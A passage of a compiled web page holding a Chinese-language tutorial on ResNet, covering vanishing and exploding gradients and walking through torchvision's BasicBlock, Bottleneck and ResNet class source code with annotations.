97\u7684\u8bef\u5dee\u901a\u8fc7\u53cd\u5411\u4f20\u64ad\u7684\u65b9\u5f0f\uff0c\u6307\u5bfc\u6df1\u5ea6\u7f51\u7edc\u6743\u503c\u7684\u66f4\u65b0\u3002\u8bef\u5dee\u68af\u5ea6\u662f\u795e\u7ecf\u7f51\u7edc\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u8ba1\u7b97\u7684\u65b9\u5411\u548c\u6570\u91cf\uff0c\u7528\u4e8e\u4ee5\u6b63\u786e\u7684\u65b9\u5411\u548c\u5408\u9002\u7684\u91cf\u66f4\u65b0\u7f51\u7edc\u6743\u91cd\u3002 \u5728\u6df1\u5c42\u7f51\u7edc\u6216\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u4e2d\uff0c\u8bef\u5dee\u68af\u5ea6\u53ef\u5728\u66f4\u65b0\u4e2d\u7d2f\u79ef\uff0c\u53d8\u6210\u975e\u5e38\u5927\u7684\u68af\u5ea6\uff0c\u7136\u540e\u5bfc\u81f4\u7f51\u7edc\u6743\u91cd\u7684\u5927\u5e45\u66f4\u65b0\uff0c\u5e76\u56e0\u6b64\u4f7f\u7f51\u7edc\u53d8\u5f97\u4e0d\u7a33\u5b9a\u3002\u5728\u6781\u7aef\u60c5\u51b5\u4e0b\uff0c\u6743\u91cd\u7684\u503c\u53d8\u5f97\u975e\u5e38\u5927\uff0c\u4ee5\u81f3\u4e8e\u6ea2\u51fa\uff0c\u5bfc\u81f4 NaN \u503c\u3002 ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5927\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u589e\u957f\u4f1a\u4ea7\u751f\u68af\u5ea6\u7206\u70b8\u3002"})," \u5728\u6df1\u5ea6\u591a\u5c42\u611f\u77e5\u673a\u7f51\u7edc\u4e2d\uff0c\u68af\u5ea6\u7206\u70b8\u4f1a\u5f15\u8d77\u7f51\u7edc\u4e0d\u7a33\u5b9a\uff0c\u6700\u597d\u7684\u7ed3\u679c\u662f\u65e0\u6cd5\u4ece\u8bad\u7ec3\u6570\u636e\u4e2d\u5b66\u4e60\uff0c\u800c\u6700\u574f\u7684\u7ed3\u679c\u662f\u51fa\u73b0\u65e0\u6cd5\u518d\u66f4\u65b0\u7684 NaN \u6743\u91cd\u503c\u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u800c\u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\uff0c\u68af\u5ea6\u4f1a\u53d8\u5f97\u975e\u5e38\u5c0f\uff0c ",(0,t.jsx)(e.strong,{children:"\u7f51\u7edc\u5c42\u4e4b\u95f4\u7684\u68af\u5ea6\uff08\u503c\u5c0f\u4e8e 1.0\uff09\u91cd\u590d\u76f8\u4e58\u5bfc\u81f4\u7684\u6307\u6570\u7ea7\u53d8\u5c0f\u4f1a\u4ea7\u751f\u68af\u5ea6\u6d88\u5931"}),"\u3002\u5728\u6700\u574f\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u53ef\u80fd\u4f1a\u5b8c\u5168\u505c\u6b62\u795e\u7ecf\u7f51\u7edc\u7684\u8fdb\u4e00\u6b65\u8bad\u7ec3\u3002\u4f8b\u5982\uff0c\u4f20\u7edf\u7684\u6fc0\u6d3b\u51fd\u6570(\u5982\u53cc\u66f2\u6b63\u5207\u51fd\u6570)\u5177\u6709\u8303\u56f4(0,1)\u5185\u7684\u68af\u5ea6\uff0c\u53cd\u5411\u4f20\u64ad\u901a\u8fc7\u94fe\u5f0f\u6cd5\u5219\u8ba1\u7b97\u68af\u5ea6\u3002\u8fd9\u6837\u505a\u7684\u6548\u679c\u662f\uff0c\u7528\u8fd9\u4e9b\u5c0f\u6570\u5b57\u7684n\u4e58\u4ee5n\u6765\u8ba1\u7b97n\u5c42\u7f51\u7edc\u4e2d\u201c\u524d\u7aef\u201d\u5c42\u7684\u68af\u5ea6\uff0c\u8fd9\u610f\u5473\u7740\u68af\u5ea6(\u8bef\u5dee\u4fe1\u53f7)\u968fn\u5448\u6307\u6570\u9012\u51cf\uff0c\u800c\u524d\u7aef\u5c42\u7684\u8bad\u7ec3\u975e\u5e38\u7f13\u6162\u3002\u6700\u7ec8\u5bfc\u81f4\u66f4\u65b0\u505c\u6ede\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"2-\u6e90\u7801\u89e3\u8bfb",children:"2 \u6e90\u7801\u89e3\u8bfb"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u5bf9ResNet\u6709\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4f7f\u7528",(0,t.jsx)(e.a,{href:"https://github.com/pytorch/vision/blob/master/torchvision/models/resnet.py",children:"torchvision\u7684ResNet\u6e90\u7801"}),"\u8fdb\u884c\u89e3\u8bfb\u3002"]}),"\n",(0,t.jsx)(e.h3,{id:"21-\u5377\u79ef\u6838\u7684\u5c01\u88c5",children:"2.1 \u5377\u79ef\u6838\u7684\u5c01\u88c5"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4ee3\u7801\u7684\u5f00\u59cb\uff0c\u9996\u5148\u5c01\u88c5\u4e863x3\u548c1x1\u7684\u5377\u79ef\u6838\uff0c\u8fd9\u6837\u53ef\u4ee5\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002\u9664\u4e86\u8fd9\u79cd\u4ee3\u7801\u5199\u6cd5\u5916\uff0c\u8fd8\u6709\u8bb8\u591a\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u5728\u5f00\u59cb\u4e5f\u4f1a\u5c06\u5377\u79ef\u5c42\uff0c\u6fc0\u6d3b\u51fd\u6570\u5c42\u548cBN\u5c42\u5c01\u88c5\u5728\u4e00\u8d77\uff0c\u540c\u6837\u662f\u4e3a\u4e86\u589e\u52a0\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:\n """3x3 convolution with padding"""\n return nn.Conv2d(\n in_planes,\n out_planes,\n kernel_size=3,\n stride=stride,\n padding=dilation,\n groups=groups,\n bias=False,\n dilation=dilation,\n )\n\n\ndef conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:\n """1x1 convolution"""\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n'})}),"\n",(0,t.jsx)(e.h3,{id:"22-\u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1",children:"2.2 \u57fa\u672c\u6a21\u5757\u7684\u8bbe\u8ba1"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7f51\u7edc\u662f\u7531\u5f88\u591a\u76f8\u540c\u7684\u6a21\u5757\u5806\u53e0\u8d77\u6765\u7684\uff0c\u4e3a\u4e86\u4fdd\u8bc1\u4ee3\u7801\u5177\u6709\u53ef\u8bfb\u6027\u548c\u53ef\u6269\u5c55\u6027\uff0cResNet\u5728\u8bbe\u8ba1\u65f6\u91c7\u7528\u4e86\u6a21\u5757\u5316\u8bbe\u8ba1\uff0c\u9488\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684ResNet\uff0c\u4e66\u5199\u4e86BasicBlock\u548cBottleNeck\u4e24\u4e2a\u57fa\u672c\u6a21\u5757\u3002\u8fd9\u79cd\u6a21\u5757\u5316\u7684\u8bbe\u8ba1\u5728\u73b0\u5728\u8bb8\u591a\u5e38\u89c1\u7684\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u4e2d\u6211\u4eec\u53ef\u4ee5\u7ecf\u5e38\u770b\u5230\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u5e38\u89c1\u7684\u5927\u5c0f\u6709\u4e0b\u56fe\u7684ResNet-18\uff0cResNet-34\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\uff0c\u5176\u4e2d\u7f51\u7edc\u540e\u9762\u7684\u6570\u5b57\u4ee3\u8868\u7684\u662f\u7f51\u7edc\u7684\u5c42\u6570\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"expansion",src:s(19243).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"\u4e3a\u4e86\u5e2e\u52a9\u5927\u5bb6\u66f4\u597d\u7684\u7406\u89e3\uff0c\u6211\u4eec\u4ee5ResNet101\u4e3a\u4f8b\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:"layer_name"}),(0,t.jsx)(e.th,{children:"\u6b21\u6570"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv1"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv2_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv3_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef4 x 3 = 12\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv4_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef23 x 3 = 69\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"conv5_x"}),(0,t.jsx)(e.td,{children:"\u5377\u79ef3 x 3 = 9\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"fc"}),(0,t.jsx)(e.td,{children:"average pool 1\u6b21"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:"\u5408\u8ba1"}),(0,t.jsx)(e.td,{children:"1 + 9 + 12 + 69 + 9 + 1 = 101\u6b21"})]})]})]}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u9762\u5404\u4e2aResNet\u7684\u6a21\u5757\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0ResNet-18\u548cResNet-34\u6bcf\u4e00\u5c42\u5185\uff0c\u6570\u636e\u7684\u5927\u5c0f\u4e0d\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u4f46\u662fResNet-50\u3001ResNet-101\u548cResNet-152\u4e2d\u7684\u6bcf\u4e00\u5c42\u5185\u8f93\u5165\u548c\u8f93\u51fa\u7684channel\u6570\u76ee\u4e0d\u4e00\u6837\uff0c\u8f93\u51fa\u7684channel\u6269\u5927\u4e3a\u8f93\u5165channel\u76844\u500d\uff0c\u9664\u6b64\u4e4b\u5916\uff0c\u6bcf\u4e00\u5c42\u7684\u5377\u79ef\u7684\u5927\u5c0f\u4e5f\u53d8\u6362\u4e3a1\uff0c3\uff0c1\u7684\u7ed3\u6784\u3002\u57fa\u4e8e\u8fd9\u4e2a\u53d1\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06ResNet-18\u548cResNet-34\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\uff0cResNet-50\u3001ResNet-101\u548cResNet-152\u8fd9\u4e09\u7c7b\u7f51\u7edc\u7684\u6784\u6210\u6a21\u5757\u5f53\u4f5c\u4e00\u7c7b\u3002\u4e8b\u5b9e\u4e0a\uff0ctorchvision\u7684\u6e90\u7801\u4e5f\u662f\u57fa\u4e8e\u8fd9\u79cd\u8bbe\u8ba1\u601d\u60f3\uff0c\u4f7f\u7528\u5982\u4e0b\u56fe\u7684BasicBlock\uff08\u5de6\uff09\u548cBottleNeck\uff08\u53f3\uff09\u6a21\u5757\uff0c\u5e76\u4e14\u4e3a\u4e86\u63a7\u5236\u8f93\u5165\u548c\u8f93\u51fa\u7684\u901a\u9053\u6570\u76ee\u7684\u53d8\u5316\uff0c\u5728\u4ee3\u7801\u4e2d\u8f93\u51fa\u7684\u901a\u9053\u7ef4\u5ea6\u4e5f\u901a\u8fc7expansion\u8fdb\u884c\u63a7\u5236\uff0c\u4e24\u4e2ablock\u7c7b\u8f93\u5165\u4e00\u4e2a\u901a\u9053\u4e3ain_planes\u7ef4\u7684\u5ea6\u7279\u5f81\u56fe\uff0c\u8f93\u51fa\u4e00\u4e2aplanes*block.expansion\u7ef4\u7684\u7279\u5f81\u56fe\uff0c\u5176\u4e2dplanes\u7684\u6570\u76ee\u5927\u5c0f\u7b49\u4e8ein_planes\u3002\u9664\u6b64\u4ee5\u5916\uff0c\u4ee3\u7801\u53f3\u4fa7\u7684\u66f2\u7ebf\u5c31\u662f\u672c\u6587\u6700\u91cd\u8981\u7684shortcut\u652f\u8def\uff0c\u8be5\u652f\u8def\u4e0a\u7684downsample\u64cd\u4f5c\u662f\u4e3a\u4e86\u5bf9shortcut\u652f\u8def\u8fdb\u884c\u5927\u5c0f\u6216\u7ef4\u5ea6\u4e0a\u7684\u8c03\u6574\uff0c\u4ee5\u5e0c\u671b\u6267\u884c\u76f8\u52a0\u64cd\u4f5c"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"block",src:s(5411).A+"",width:"928",height:"372"})}),"\n",(0,t.jsx)(e.h4,{id:"221-shortcut-connection",children:"2.2.1 Shortcut Connection."}),"\n",(0,t.jsx)(e.p,{children:"\u8fd9\u91cc\u518d\u5206\u6790\u4e00\u4e0bshortcut connection\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{alt:"shortcut",src:s(15976).A+"",width:"463",height:"273"})}),"\n",(0,t.jsx)(e.p,{children:"shortcut connection\u4e5f\u5c31\u662f\u6240\u8c13\u7684\u201c\u6284\u8fd1\u9053\u201d\uff0c\u5b83\u6709\u4e24\u79cd\u65b9\u5f0f\uff0c\u5176\u4e00\u4e3a\u540c\u7b49\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u5373\u8f93\u5165\u8f93\u51fa\u76f4\u63a5\u76f8\u52a0\uff08\u5373\u4e0a\u56fe\u4e2d\u7684F(x) + x\uff09\uff0c\u53e6\u4e00\u79cd\u4e3a\u4e0d\u540c\u7ef4\u5ea6\u7684\u6620\u5c04\uff0c\u8fd9\u65f6\u5019\u5c31\u9700\u8981\u7ed9x\u8865\u5145\u4e00\u4e2a\u7ebf\u6027\u6620\u5c04\u6765\u5339\u914d\u7ef4\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u6bd4\u5982\u4e0b\u9762\u8fd9\u4e2a\u56fe\uff1a"}),"\n",(0,t.jsx)(e.img,{src:"./figures/shortcut2.jpg"}),"\n",(0,t.jsx)(e.p,{children:"\u5de6\uff1aVGG-19\u6a21\u578b\uff0c\u4f5c\u4e3a\u53c2\u8003\u3002 \u4e2d\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u666e\u901a\u7f51\u7edc\u3002 \u53f3\uff1a\u4e00\u4e2a\u670934\u4e2a\u53c2\u6570\u5c42\u7684\u6b8b\u5dee\u7f51\u7edc\uff08\u5373resnet34\uff09"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u4e0a\u56fe\u6700\u53f3\u4fa7\u7684\u8def\u5f84\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u5f88\u660e\u663e\u7684\u770b\u5230shortcut connection\u52a0\u5165\u4e86\u7f51\u7edc\u4e4b\u4e2d\uff0c\u540c\u65f6\uff0c\u56fe\u4e2d\u4e5f\u5f88\u660e\u663e\u7684\u53ef\u4ee5\u770b\u5230\uff0c\u5b9e\u7ebf\u90e8\u5206\u5c31\u662f\u8fdb\u884c\u4e86\u5355\u7eaf\u7684F(x)+x\u64cd\u4f5c\uff0c\u800c\u865a\u7ebf\u90e8\u5206\uff0c\u7b2c\u4e00\u4e2a\u5377\u79ef\u5c42\u7684stride\u662f2\uff08\u90a3\u4e2a/2\u7684\u610f\u601d\u5c31\u662fstride\u662f2\uff09\uff1b\u540c\u65f6\u6ce8\u610f\u5230\u6df1\u5ea6\u4e5f\u53d1\u751f\u4e86\u53d8\u6362\uff0cchannel\u6570\u76ee\u589e\u52a0\u4e00\u500d\uff08\u6269\u5927\u4e24\u500d\uff09\uff0c\u8fd9\u6837F(x)\u7684\u5206\u8fa8\u7387\u6bd4x\u5c0f\u4e00\u534a\uff0c\u539a\u5ea6\u6bd4x\u5927\u4e00\u500d\u3002\u5728\u8fd9\u6837\u7684shortcut connection\u4e2d\uff0c\u5c31\u9700\u8981\u8865\u5145\u7ebf\u6027\u6620\u5c04\u6765\u589e\u52a0\u7ef4\u5ea6\u3002\u5728ResNet\u4e2d\uff0c\u4f5c\u8005\u4f7f\u7528\u4e861 x 1\u7684\u5377\u79ef\u6838\u6765\u8fbe\u5230\u8fd9\u4e2a\u76ee\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u53e6\u5916\uff0c\u8bba\u6587\u4e2d\u53c8\u63d0\u5230\u8bf4\uff1a\u201c\u2026\u2026where both designs have similar time complexity.\u201d \u65e2\u7136BasicBlock\u548cBottleneck\u4e8c\u8005\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u7c7b\u4f3c\uff0c\u90a3\u4e48\u4e3a\u4ec0\u4e48\u8fd8\u8981\u989d\u5916\u8bbe\u8ba1\u4e00\u4e2aBottleneck\u7ed3\u6784\u5462\uff1f"}),"\n",(0,t.jsx)(e.p,{children:"\u6839\u636e\u524d\u9762\u7684\u53d9\u8ff0\u6211\u4eec\u77e5\u9053\uff0cBasicBlock\u7ed3\u6784\u6bd4\u4f20\u7edf\u7684\u5377\u79ef\u7ed3\u6784\u591a\u4e86\u4e00\u4e2ashortcut\u652f\u8def\uff0c\u7528\u4e8e\u4f20\u9012\u4f4e\u5c42\u7684\u4fe1\u606f\uff0c\u4f7f\u5f97\u7f51\u7edc\u80fd\u591f\u8bad\u7ec3\u5730\u5f88\u6df1\u3002\u800cBottleNeck\u5148\u901a\u8fc7\u4e00\u4e2a1x1\u7684\u5377\u79ef\u51cf\u5c11\u901a\u9053\u6570\uff0c\u4f7f\u5f97\u4e2d\u95f4\u5377\u79ef\u7684\u901a\u9053\u6570\u51cf\u5c11\u4e3a1/4\uff1b\u4e2d\u95f4\u7684\u666e\u901a\u5377\u79ef\u505a\u5b8c\u5377\u79ef\u540e\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8e\u8f93\u5165\u901a\u9053\u6570\uff1b\u7b2c\u4e09\u4e2a\u5377\u79ef\u7528\u4e8e\u6062\u590d\u901a\u9053\u6570\uff0c\u4f7f\u5f97BottleNeck\u7684\u8f93\u51fa\u901a\u9053\u6570\u7b49\u4e8eBottleNeck\u7684\u8f93\u5165\u901a\u9053\u6570\u3002**\u6362\u53e5\u8bdd\u8bf4\uff0c\u8fd9\u4e24\u4e2a1x1\u5377\u79ef\u6709\u6548\u5730\u51cf\u5c11\u4e86\u5377\u79ef\u7684\u53c2\u6570\u4e2a\u6570\u548c\u8ba1\u7b97\u91cf\uff0c\u540c\u65f6\u51cf\u5c11\u4e86\u4e2d\u95f4\u7279\u5f81\u56fe\u7684\u901a\u9053\u6570\uff0c\u4f7f\u5355\u4e2aBlock\u6d88\u8017\u7684\u663e\u5b58\u66f4\u5c11\uff0c\u5728\u8f83\u6df1\u7684\u7f51\u7edc\u4e2dBottleNeck\u4f1a\u5728\u53c2\u6570\u4e0a\u66f4\u52a0\u8282\u7ea6\uff0c\u8fd9\u6837\u53ef\u4ee5\u6709\u5229\u4e8e\u6784\u5efa\u5c42\u6570\u66f4\u591a\u7684\u7f51\u7edc\uff0c\u540c\u65f6\u8fd8\u80fd\u4fdd\u6301\u6027\u80fd\u7684\u63d0\u5347\u3002**\u6240\u4ee5resnet50, resnet101\u548cresnet152\u4f7f\u7528\u4e86\u53e6\u5916\u8bbe\u8ba1\u7684BottleNeck\u7ed3\u6784\u3002"}),"\n",(0,t.jsx)(e.h4,{id:"222-basicblock",children:"2.2.2 BasicBlock"}),"\n",(0,t.jsx)(e.p,{children:"BasicBlock\u6a21\u5757\u7528\u6765\u6784\u5efaresnet18\u548cresnet34"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class BasicBlock(nn.Module):\n expansion: int = 1\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n if groups != 1 or base_width != 64:\n raise ValueError("BasicBlock only supports groups=1 and base_width=64")\n if dilation > 1:\n raise NotImplementedError("Dilation > 1 not supported in BasicBlock")\n # Both self.conv1 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv3x3(inplanes, planes, stride)\n self.bn1 = norm_layer(planes)\n self.relu = nn.ReLU(inplace=True)\n self.conv2 = conv3x3(planes, planes)\n self.bn2 = norm_layer(planes)\n self.downsample = downsample\n self.stride = stride\n\n def forward(self, x: Tensor) -> Tensor:\n identity = x # x \u7ed9\u81ea\u5df1\u5148\u5907\u4efd\u4e00\u4efd\n\n out = self.conv1(x) # \u5bf9x\u505a\u5377\u79ef \n out = self.bn1(out) # \u5bf9x\u5f52\u4e00\u5316 \n out = self.relu(out) # \u5bf9x\u7528\u6fc0\u6d3b\u51fd\u6570\n\n out = self.conv2(out) # \u5bf9x\u505a\u5377\u79ef\n out = self.bn2(out) # \u5f52\u4e00\u5316\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity # \u8fdb\u884cdownsample\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsx)(e.h4,{id:"223-bottleneck",children:"2.2.3 BottleNeck"}),"\n",(0,t.jsx)(e.p,{children:"BottleNeck\u6a21\u5757\u7528\u6765\u6784\u5efaresnet50\uff0cresnet101\u548cresnet152"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class Bottleneck(nn.Module):\n # Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)\n # while original implementation places the stride at the first 1x1 convolution(self.conv1)\n # according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.\n # This variant is also known as ResNet V1.5 and improves accuracy according to\n # https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.\n\n expansion: int = 4 # \u5bf9\u8f93\u51fa\u901a\u9053\u8fdb\u884c\u500d\u589e\n\n def __init__(\n self,\n inplanes: int,\n planes: int,\n stride: int = 1,\n downsample: Optional[nn.Module] = None,\n groups: int = 1,\n base_width: int = 64,\n dilation: int = 1,\n norm_layer: Optional[Callable[..., nn.Module]] = None,\n ) -> None:\n super().__init__()\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n width = int(planes * (base_width / 64.0)) * groups\n # Both self.conv2 and self.downsample layers downsample the input when stride != 1\n self.conv1 = conv1x1(inplanes, width)\n self.bn1 = norm_layer(width)\n self.conv2 = conv3x3(width, width, stride, groups, dilation)\n self.bn2 = norm_layer(width)\n self.conv3 = conv1x1(width, planes * self.expansion)\n self.bn3 = norm_layer(planes * self.expansion)\n self.relu = nn.ReLU(inplace=True)\n self.downsample = downsample\n self.stride = stride\n\n # Bottleneckd forward\u51fd\u6570\u548cBasicBlock\u7c7b\u4f3c\uff0c\u4e0d\u518d\u989d\u5916\u6ce8\u91ca\n def forward(self, x: Tensor) -> Tensor:\n identity = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n if self.downsample is not None:\n identity = self.downsample(x)\n\n out += identity\n out = self.relu(out)\n\n return out\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u5728\u8fd9\u91cc\u518d\u5bf9\u4ee3\u7801\u4e2d",(0,t.jsx)(e.strong,{children:"expansion"}),"\u7684\u4f5c\u7528\u505a\u4e00\u4e2a\u8bf4\u660e\uff0c\u6211\u4eec\u53ef\u4ee5\u91cd\u65b0\u56de\u987e\u4e00\u4e0b\u4e0b\u9762\u8fd9\u5f20\u56fe\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:s(19243).A+"",width:"875",height:"377"})}),"\n",(0,t.jsx)(e.p,{children:"expansion\u7b80\u5355\u6765\u8bf4\u5c31\u662f\u5bf9\u8f93\u51fa\u901a\u9053\u7684\u500d\u4e58\u3002\u5728BasicBlock\u548cBottleNeck\u4e2d\uff0c\u201c__init__\u201d\u51fd\u6570\u4e2d\u6709\u4e09\u4e2a\u6bd4\u8f83\u5173\u952e\u7684\u53c2\u6570\uff1ainplanes,planes\u548cstride\uff0c\u8fd9\u4e09\u8005\u5206\u522b\u8868\u793a\u8f93\u5165\u7684\u901a\u9053\u6570\uff0c\u8f93\u51fa\u7684\u901a\u9053\u6570\u548c\u6b65\u5e45\u3002\u5728\u4e24\u4e2a\u6a21\u5757\u4e2d\uff0c__init__\u4f20\u5165\u7684planes\u90fd\u662f64,128,156,512\uff0c\u4f46\u6211\u4eec\u89c2\u5bdf\u4e0a\u9762\u7684\u8868\u683c\uff0c\u4f1a\u53d1\u73b0\u5bf9\u4e8eResNet-50\uff0cResNet-101\u548cResNet-152\u800c\u8a00\uff0c\u5b83\u4eec\u9700\u8981\u7684\u8f93\u51fa\u901a\u9053\u5e94\u8be5\u4e3a256,512,1024,2048\u624d\u5bf9\u3002\u56e0\u6b64\u5728\u8fd9\u91cc\u8bbe\u7f6eexpansion=4\uff0c\u5bf9\u5e94\u4e0a\u9762BottleNeck\u4ee3\u7801\u4e2d\u768430\u884c\u548c31\u884c\uff0c\u5c06\u6bcf\u4e00\u4e2aplanes\u90fd\u4e58\u4e0a\u8fd9\u4e2aexpansion\uff0c\u5c31\u5f97\u5230\u4e86\u9700\u8981\u7684\u901a\u9053\u6570\uff1b\u800c\u5bf9\u4e8eResNet-18\u548cResNet-34\u800c\u8a00\uff0c\u8f93\u5165\u901a\u9053\u548c\u8f93\u51fa\u901a\u9053\u7684\u7ef4\u5ea6\u4e0a\u6ca1\u6709\u53d1\u751f\u53d8\u5316\uff0c\u56e0\u6b64expansion\u4e5f\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,t.jsx)(e.h3,{id:"23-\u7f51\u7edc\u6574\u4f53\u7ed3\u6784",children:"2.3 \u7f51\u7edc\u6574\u4f53\u7ed3\u6784"}),"\n",(0,t.jsx)(e.p,{children:"\u5728\u5b9a\u4e49\u597d\u6700\u57fa\u672c\u7684Bottlenneck\u548cBasicBlock\u540e\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u6784\u5efaResNet\u7f51\u7edc\u4e86\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'class ResNet(nn.Module):\n def __init__(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u9009\u62e9\u57fa\u672c\u6a21\u5757\n layers: List[int], # \u6bcf\u4e00\u5c42block\u7684\u6570\u76ee\u6784\u6210 -> [3,4,6,3]\n num_classes: int = 1000, # \u5206\u7c7b\u6570\u76ee\n zero_init_residual: bool = False, # \u521d\u59cb\u5316\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n groups: int = 1,\n width_per_group: int = 64,\n replace_stride_with_dilation: Optional[List[bool]] = None,\n #########################################\n \n norm_layer: Optional[Callable[..., nn.Module]] = None, # norm\u5c42\n ) -> None:\n super().__init__()\n _log_api_usage_once(self)\n if norm_layer is None:\n norm_layer = nn.BatchNorm2d\n self._norm_layer = norm_layer\n\t\t\n self.inplanes = 64 # \u8f93\u5165\u901a\u9053\n \n #######\u5176\u4ed6\u5377\u79ef\u6784\u6210\uff0c\u4e0e\u672c\u6587ResNet\u65e0\u5173######\n self.dilation = 1 # \u7a7a\u6d1e\u5377\u79ef\n if replace_stride_with_dilation is None:\n # each element in the tuple indicates if we should replace\n # the 2x2 stride with a dilated convolution instead\n replace_stride_with_dilation = [False, False, False]\n if len(replace_stride_with_dilation) != 3:\n raise ValueError(\n "replace_stride_with_dilation should be None "\n f"or a 3-element tuple, got {replace_stride_with_dilation}"\n )\n self.groups = groups\n self.base_width = width_per_group\n #########################################\n \n self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)\n self.bn1 = norm_layer(self.inplanes)\n self.relu = nn.ReLU(inplace=True)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n # \u901a\u8fc7_make_layer\u5e26\u5230\u5c42\u6b21\u5316\u8bbe\u8ba1\u7684\u6548\u679c\n self.layer1 = self._make_layer(block, 64, layers[0]) # \u5bf9\u5e94\u7740conv2_x\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # \u5bf9\u5e94\u7740conv3_x\n self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # 